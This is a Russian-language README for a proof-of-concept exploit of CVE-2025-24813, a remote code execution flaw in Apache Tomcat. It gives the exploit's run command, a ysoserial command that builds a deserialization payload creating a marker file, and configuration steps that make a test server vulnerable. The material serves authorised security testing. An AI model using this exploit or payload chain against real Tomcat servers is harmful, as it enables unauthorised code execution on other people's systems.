
CVE-2025-24813 Apache Tomcat RCE — доказательство концепции (PoC)
PoC для CVE-2025-24813 — уязвимости удаленного выполнения кода (RCE) в Apache Tomcat.
Важно: Данный PoC предназначен исключительно для тестирования собственных сред или в образовательных целях. Любое использование этого PoC для эксплуатации систем без соответствующего разрешения запрещено и может быть незаконным. Создатели и распространители этого PoC не несут ответственности за любое неправомерное использование или причиненный ущерб. Всегда получайте явное разрешение перед тестированием любой среды, которая вам не принадлежит.
python3 CVE-2025-24813.py --url <target_url>
В коде уже есть пейлоуд, закодированный в base64, сгенерированный с помощью ysoserial (https://github.com/frohoff/ysoserial), который создает файл RCE-success в /tmp следующим образом:
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/RCE-success" | base64 -w 0
Включите доступ PUT / запись
Отредактируйте $CATALINA_HOME/conf/web.xml, чтобы добавить параметр readonly в раздел имени сервлета default и установить его в false.
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
Включите сохранение сессий
$CATALINA_HOME/conf/context.xml и добавьте следующую настройку. <Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" />
</Manager>
$CATALINA_HOME/webapps/ROOT/index.jsp и убедитесь, что настройка сессии по умолчанию не установлена в "false", или просто удалите её. <%@ page session="true" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
ИЛИ
<%@ page pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
Загрузите зависимости в $CATALINA_HOME/lib/
cd $CATALINA_HOME/lib/
wget https[:]//repo1.maven[.]org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
wget https[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.2/commons-beanutils-1.9.2.jar
wget https[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
[+] Exploit most likely succeeded
[-] Exploit failed with status code: {status_code}, instead of 500,409